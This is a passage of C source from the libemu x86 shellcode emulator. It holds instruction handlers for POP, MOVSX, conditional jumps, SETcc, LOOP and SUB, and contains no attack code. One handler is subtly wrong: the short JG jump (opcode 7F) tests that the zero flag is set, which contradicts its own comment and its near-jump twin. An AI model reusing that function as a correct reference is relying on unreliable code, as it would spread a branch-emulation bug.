emu_cpu_instruction *i) { /* 07 * Pop top of stack into ES; increment stack pointer * POP ES */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_pop_17(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 17 * Pop top of stack into SS; increment stack pointer * POP SS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_pop_1f(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 1F * Pop top of stack into DS; increment stack pointer * POP DS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_pop_5x(struct emu_cpu *c, struct emu_cpu_instruction *i) { if (i->prefixes & PREFIX_OPSIZE) { /* 58+ rw * Pop top of stack into r16; increment stack pointer * POP r16 */ TRACK_INIT_REG16(c->instr, i->opc & 7); POP_WORD(c, c->reg16[i->opc & 7 ]); }else { /* 58+ rd * Pop top of stack into r32; increment stack pointer * POP r32 */ TRACK_INIT_REG32(c->instr, i->opc & 7); POP_DWORD(c, &c->reg[i->opc & 7]); } return 0; } int32_t instr_pop_0fa1(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 0F A1 * Pop top of stack into FS; increment stack pointer * POP FS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_pop_0fa9(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 0F A9 * Pop top of stack into GS; increment stack pointer * POP GS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_popad_61(struct emu_cpu *c, struct emu_cpu_instruction *i) { uint32_t j; if( i->prefixes & PREFIX_OPSIZE ) { for( j = 7; j < 8; j-- ) { if( j != 4 ) { POP_WORD(c, c->reg16[j]) } else { c->reg[esp] += 2; } } } else { for( j = 7; j < 8; j-- ) { if( j != 4 ) { POP_DWORD(c, &c->reg[j]); } else { c->reg[esp] += 4; } } } return 0; } int32_t instr_mov_89(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_leave(struct emu_cpu *c, struct emu_cpu_instruction *i) { struct emu_cpu_instruction back = *i; // mov esp, ebp // pop ebp i->modrm.mod = 3; i->modrm.opc = ebp; i->modrm.rm = esp; instr_mov_89(c, i); i->opc = ebp; instr_pop_5x(c, i); *i = back; return 0; } libemu-0.2.0+git20120122+564/src/functions/group_5.c0000644000175300017530000000345511706767213020375 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_functions.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" int32_t instr_group_5_ff(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_5_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_5_ff_inc, /* 1 */ instr_group_5_ff_dec, /* 2 */ instr_group_5_ff_call, /* 3 */ instr_group_5_ff_call, /* 4 */ instr_group_5_ff_jmp, /* 5 */ instr_group_5_ff_jmp, /* 6 */ instr_group_5_ff_push, /* 7 */ 0, }; if (group_5_fn[i->modrm.opc] != NULL) return group_5_fn[i->modrm.opc](c, i); else return -1; } libemu-0.2.0+git20120122+564/src/functions/movsx.c0000644000175300017530000000532611706767213020170 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 481*/ #include #include int32_t instr_movsx_0fbe(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 0F BE /r * Move byte to word with sign-extension * MOVSX r16,m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); *c->reg16[i->modrm.opc] = (int8_t)m8; } else { /* 0F BE /r * Move byte to doubleword, sign-extension * MOVSX r32,m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); c->reg[i->modrm.opc] = (int8_t)m8; } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 0F BE /r * Move byte to word with sign-extension * MOVSX r16,r8 */ *c->reg16[i->modrm.opc] = (int8_t)*c->reg8[i->modrm.rm]; } else { /* 0F BE /r * Move byte to doubleword, sign-extension * MOVSX r32,r8 */ c->reg[i->modrm.opc] = (int8_t)*c->reg8[i->modrm.rm]; } } return 0; } int32_t instr_movsx_0fbf(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* 0F BF /r * Move word to doubleword, sign-extension * MOVSX r32,m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); c->reg[i->modrm.opc] = (int16_t)m16; } else { /* 0F BF /r * Move word to doubleword, sign-extension * MOVSX r32,r16 */ c->reg[i->modrm.opc] = (int16_t)*c->reg16[i->modrm.rm]; } return 0; } libemu-0.2.0+git20120122+564/src/functions/jcc.c0000644000175300017530000004011311706767213017544 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #define OF_IS_ONE(cpu) (CPU_FLAG_ISSET(cpu, f_of) != 0) #define OF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_of) == 0) #define OF_IS(cpu) (CPU_FLAG_ISSET(cpu, f_of)?1:0) #define CF_IS_ONE(cpu) (CPU_FLAG_ISSET(cpu, f_cf) != 0) #define CF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_cf) == 0) #define ZF_IS_ONE(cpu) (CPU_FLAG_ISSET(cpu, f_zf) != 0) #define ZF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_zf) == 0) #define SF_IS_ONE(cpu) (CPU_FLAG_ISSET(cpu, f_sf) != 0) #define SF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_sf) == 0) #define SF_IS(cpu) (CPU_FLAG_ISSET(cpu, f_sf)?1:0) #define PF_IS_ONE(cpu) (CPU_FLAG_ISSET(cpu, f_pf) != 0) #define PF_IS_ZERO(cpu) (CPU_FLAG_ISSET(cpu, f_pf) == 0) int32_t instr_jcc_70(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_of); /* 70 cb Jump short if overflow (OF=1) JO rel8 */ if (OF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_71(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_of); /* 71 cb Jump short if not overflow (OF=0) JNO rel8 */ if (OF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_72(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_cf); /* 72 cb Jump short if below (CF=1) JB rel8 */ /* 72 cb Jump short if carry (CF=1) JC rel8 */ /* 72 cb Jump short if not above or equal (CF=1) JNAE rel8 */ if (CF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_73(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_cf); /* 73 cb Jump short if above or equal (CF=0) JAE rel8 */ /* 73 cb Jump short if not below (CF=0) JNB rel8 */ /* 73 cb Jump short if not carry (CF=0) JNC rel8 */ if (CF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_setcc_0f94(struct emu_cpu *c, struct emu_cpu_instruction *i) { uint8_t b; TRACK_NEED_EFLAG(c->instr, f_zf); b = ZF_IS_ONE(c) ? 1 : 0; /* 0f 94 sete r/m8 Set byte if equal (ZF = 1) */ if (i->modrm.mod != 3) { MEM_BYTE_WRITE(c, i->modrm.ea, b); } else { *c->reg8[i->modrm.rm] = b; TRACK_INIT_REG8(c->instr, i->modrm.rm); } return 0; } int32_t instr_setcc_0f95(struct emu_cpu *c, struct emu_cpu_instruction *i) { uint8_t b; TRACK_NEED_EFLAG(c->instr, f_zf); b = ZF_IS_ZERO(c) ? 1 : 0; /* 0f 94 setne r/m8 Set byte if not equal (ZF = 0) */ if (i->modrm.mod != 3) { MEM_BYTE_WRITE(c, i->modrm.ea, b); } else { *c->reg8[i->modrm.rm] = b; TRACK_INIT_REG8(c->instr, i->modrm.rm); } return 0; } int32_t instr_jcc_74(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_zf); /* 74 cb Jump short if equal (ZF=1) JE rel8 */ /* 74 cb Jump short if zero (ZF = 1) JZ rel8 */ if (ZF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_75(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_zf); /* 75 cb Jump short if not equal (ZF=0) JNE rel8 */ /* 75 cb Jump short if not zero (ZF=0) JNZ rel8 */ if (ZF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_76(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_cf); TRACK_NEED_EFLAG(c->instr, f_zf); /* 76 cb Jump short if below or equal (CF=1 or ZF=1) JBE rel8 */ /* 76 cb Jump short if not above (CF=1 or ZF=1) JNA rel8 */ if (CF_IS_ONE(c) || ZF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_77(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_cf); TRACK_NEED_EFLAG(c->instr, f_zf); /* 77 cb Jump short if above (CF=0 and ZF=0) JA rel8 */ /* 77 cb Jump short if not below or equal (CF=0 and ZF=0) JNBE rel8 */ if (CF_IS_ZERO(c) && ZF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_78(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_sf); /* 78 cb Jump short if sign (SF=1) JS rel8 */ if (SF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_79(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_sf); /* 79 cb Jump short if not sign (SF=0) JNS rel8 */ if (SF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_7a(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_pf); /* 7A cb Jump short if parity even (PF=1) JPE rel8 */ /* 7A cb Jump short if parity (PF=1) JP rel8 */ if (PF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_7b(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_pf); /* 7B cb Jump short if not parity (PF=0) JNP rel8 */ /* 7B cb Jump short if parity odd (PF=0) JPO rel8 */ if (PF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_7c(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_sf); TRACK_NEED_EFLAG(c->instr, f_of); /* 7C cb Jump short if less (SF<>OF) JL rel8 */ /* 7C cb Jump short if not greater or equal (SF<>OF) JNGE rel8 */ if (SF_IS(c) != OF_IS(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_7d(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_sf); TRACK_NEED_EFLAG(c->instr, f_of); /* 7D cb Jump short if greater or equal (SF=OF) JGE rel8 */ /* 7D cb Jump short if not less (SF=OF) JNL rel8 */ if (SF_IS(c) == OF_IS(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_7e(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_zf); TRACK_NEED_EFLAG(c->instr, f_sf); TRACK_NEED_EFLAG(c->instr, f_of); /* 7E cb Jump short if less or equal (ZF=1 or SF<>OF) JLE rel8 */ /* 7E cb Jump short if not greater (ZF=1 or SF<>OF) JNG rel8 */ if ( ZF_IS_ONE(c) || (SF_IS(c) != OF_IS(c))) { c->eip += i->disp; } return 0; } int32_t instr_jcc_7f(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_zf); TRACK_NEED_EFLAG(c->instr, f_sf); TRACK_NEED_EFLAG(c->instr, f_of); /* 7F cb Jump short if greater (ZF=0 and SF=OF) JG rel8 */ /* 7F cb Jump short if not less or equal (ZF=0 and SF=OF) JNLE rel8 */ if ( ZF_IS_ONE(c) && (SF_IS(c) == OF_IS(c))) { c->eip += i->disp; } return 0; } int32_t instr_jcc_e3(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); /* E3 cb Jump short if CX register is 0 JCXZ rel8 */ /* E3 cb Jump short if ECX register is 0 JECXZ rel8 */ if ( i->prefixes & PREFIX_OPSIZE ) { TRACK_NEED_REG16(c->instr, cx); if (*c->reg16[cx] == 0) { c->eip += i->disp; } }else { TRACK_NEED_REG32(c->instr, ecx); if (c->reg[ecx] == 0) { c->eip += i->disp; } } return 0; } int32_t instr_jcc_0f80(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_of); /* 0F 80 cw/cd Jump near if overflow (OF=1) JO rel16/32 */ if (OF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f81(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_of); /* 0F 81 cw/cd Jump near if not overflow (OF=0) JNO rel16/32 */ if (OF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f82(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_cf); /* 0F 82 cw/cd Jump near if below (CF=1) JB rel16/32 */ /* 0F 82 cw/cd Jump near if carry (CF=1) JC rel16/32 */ /* 0F 82 cw/cd Jump near if not above or equal (CF=1) JNAE rel16/32 */ if (CF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f83(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_cf); /* 0F 83 cw/cd Jump near if above or equal (CF=0) JAE rel16/32 */ /* 0F 83 cw/cd Jump near if not below (CF=0) JNB rel16/32 */ /* 0F 83 cw/cd Jump near if not carry (CF=0) JNC rel16/32 */ if (CF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f84(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_zf); /* 0F 84 cw/cd Jump near if equal (ZF=1) JE rel16/32 */ /* 0F 84 cw/cd Jump near if zero (ZF=1) JZ rel16/32 */ if (ZF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f85(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_zf); /* 0F 85 cw/cd Jump near if not equal (ZF=0) JNE rel16/32 */ /* 0F 85 cw/cd Jump near if not zero (ZF=0) JNZ rel16/32 */ if (ZF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f86(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_cf); TRACK_NEED_EFLAG(c->instr, f_zf); /* 0F 86 cw/cd Jump near if below or equal (CF=1 or ZF=1) JBE rel16/32 */ /* 0F 86 cw/cd Jump near if not above (CF=1 or ZF=1) JNA rel16/32 */ if (CF_IS_ONE(c) || ZF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f87(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_cf); TRACK_NEED_EFLAG(c->instr, f_zf); /* 0F 87 cw/cd Jump near if above (CF=0 and ZF=0) JA rel16/32 */ /* 0F 87 cw/cd Jump near if not below or equal (CF=0 and ZF=0) JNBE rel16/32 */ if (CF_IS_ZERO(c) && ZF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f88(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_sf); /* 0F 88 cw/cd Jump near if sign (SF=1) JS rel16/32 */ if (SF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f89(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_sf); /* 0F 89 cw/cd Jump near if not sign (SF=0) JNS rel16/32 */ if (SF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f8a(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_pf); /* 0F 8A cw/cd Jump near if parity even (PF=1) JPE rel16/32 */ /* 0F 8A cw/cd Jump near if parity (PF=1) JP rel16/32 */ if (PF_IS_ONE(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f8b(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_pf); /* 0F 8B cw/cd Jump near if not parity (PF=0) JNP rel16/32 */ /* 0F 8B cw/cd Jump near if parity odd (PF=0) JPO rel16/32 */ if (PF_IS_ZERO(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f8c(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_sf); TRACK_NEED_EFLAG(c->instr, f_of); /* 0F 8C cw/cd Jump near if less (SF<>OF) JL rel16/32 */ /* 0F 8C cw/cd Jump near if not greater or equal (SF<>OF) JNGE rel16/32 */ if (SF_IS(c) != OF_IS(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f8d(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_sf); TRACK_NEED_EFLAG(c->instr, f_of); /* 0F 8D cw/cd Jump near if greater or equal (SF=OF) JGE rel16/32 */ /* 0F 8D cw/cd Jump near if not less (SF=OF) JNL rel16/32 */ if (SF_IS(c) == OF_IS(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f8e(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_zf); TRACK_NEED_EFLAG(c->instr, f_sf); TRACK_NEED_EFLAG(c->instr, f_of); /* 0F 8E cw/cd Jump near if less or equal (ZF=1 or SF<>OF) JLE rel16/32 */ /* 0F 8E cw/cd Jump near if not greater (ZF=1 or SF<>OF) JNG rel16/32 */ if (ZF_IS_ONE(c) || SF_IS(c) != OF_IS(c)) { c->eip += i->disp; } return 0; } int32_t instr_jcc_0f8f(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); TRACK_NEED_EFLAG(c->instr, f_zf); TRACK_NEED_EFLAG(c->instr, f_sf); TRACK_NEED_EFLAG(c->instr, f_of); /* 0F 8F cw/cd Jump near if greater (ZF=0 and SF=OF) JG rel16/32 */ /* 0F 8F cw/cd Jump near if not less or equal (ZF=0 and SF=OF) JNLE rel16/32 */ if (ZF_IS_ZERO(c) && SF_IS(c) == OF_IS(c)) { c->eip += i->disp; } return 0; } libemu-0.2.0+git20120122+564/src/functions/loopcc.c0000644000175300017530000000577311706767213020301 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" int32_t instr_loopcc_e0(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); /* E0 cb * Decrement count; jump short if count != 0 and ZF=0 * LOOPNE rel8 * LOOPNZ rel8 */ if ( i->prefixes & PREFIX_OPSIZE) { TRACK_NEED_REG16(c->instr, cx); TRACK_NEED_EFLAG(c->instr, f_zf); *c->reg16[cx] = *c->reg16[cx]-1; if (*c->reg16[cx] != 0 && !CPU_FLAG_ISSET(c,f_zf)) { c->eip += i->disp; } }else { TRACK_NEED_REG32(c->instr, ecx); TRACK_NEED_EFLAG(c->instr, f_zf); c->reg[ecx]--; if (c->reg[ecx] != 0 && !CPU_FLAG_ISSET(c,f_zf)) { c->eip += i->disp; } } return 0; } int32_t instr_loopcc_e1(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); /* E1 cb * Decrement count; jump short if count != 0 and ZF=1 * LOOPE rel8 * LOOPZ rel8 */ if ( i->prefixes & PREFIX_OPSIZE) { TRACK_NEED_REG16(c->instr, cx); TRACK_NEED_EFLAG(c->instr, f_zf); *c->reg16[cx] = *c->reg16[cx]-1; if (*c->reg16[cx] != 0 && CPU_FLAG_ISSET(c,f_zf)) { c->eip += i->disp; } }else { TRACK_NEED_REG32(c->instr, ecx); TRACK_NEED_EFLAG(c->instr, f_zf); c->reg[ecx]--; if (c->reg[ecx] != 0 && CPU_FLAG_ISSET(c,f_zf)) { c->eip += i->disp; } } return 0; } int32_t instr_loop_e2(struct emu_cpu *c, struct emu_cpu_instruction *i) { SOURCE_COND_POS(c->instr, c->eip + i->disp); /* E2 cb * Decrement count; jump short if count != 0 * LOOP rel8 */ if ( i->prefixes & PREFIX_OPSIZE) { TRACK_NEED_REG16(c->instr, cx); *c->reg16[cx] = *c->reg16[cx]-1; if (*c->reg16[cx] != 0 ) { c->eip += i->disp; } }else { TRACK_NEED_REG32(c->instr, ecx); c->reg[ecx]--; if (c->reg[ecx] != 0) { c->eip += i->disp; } } return 0; } libemu-0.2.0+git20120122+564/src/functions/sub.c0000644000175300017530000002416511706767213017607 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include // FIXME replace the INSTR_CALC macro and verify the flags #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation) \ INSTR_CALC(bits, a, b, c, operation) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_CF(cpu, operation) \ INSTR_SET_FLAG_OF(cpu, operation, bits) #define TRACK_INIT_ALL_FLAGS(instruction_p) \ TRACK_INIT_EFLAG(instruction_p, f_zf); \ TRACK_INIT_EFLAG(instruction_p, f_pf); \ TRACK_INIT_EFLAG(instruction_p, f_sf); \ TRACK_INIT_EFLAG(instruction_p, f_cf); \ TRACK_INIT_EFLAG(instruction_p, f_of); int32_t instr_sub_28(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); /* * 28 /r * Subtract r8 from r/m8 * SUB r/m8,r8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst, *c->reg8[i->modrm.opc], dst, -) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[i->modrm.opc], *c->reg8[i->modrm.rm], -) } return 0; } int32_t instr_sub_29(struct emu_cpu *c, struct emu_cpu_instruction *i) { TRACK_INIT_ALL_FLAGS(c->instr); if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 29 /r * Subtract r16 from r/m16 * SUB r/m16,r16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst, *c->reg16[i->modrm.opc], dst, -) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* 29 /r * Subtract r32 from r/m32 * SUB r/m32,r32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst, c->reg[i->modrm.opc], dst, -) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 29 /r * Subtract r16 from r/m16 * SUB r/m16,r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg16[i->modrm.opc], *c->reg16[i->modrm.rm], -) } else { /* 29 /r * Subtract r32 from r/m32 * SUB r/m32,r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], c->reg[i->modrm.opc], c->reg[i->modrm.rm], -) if (i->modrm.opc == i->modrm.rm) { TRACK_INIT_REG32(c->instr, i->modrm.opc); }else { TRACK_NEED_REG32(c->instr, i->modrm.rm); TRACK_NEED_REG32(c->instr, i->modrm.opc); } } } return 0; } int32_t instr_sub_2a(struct emu_cpu *c, struct emu_cpu_instruction *i) { 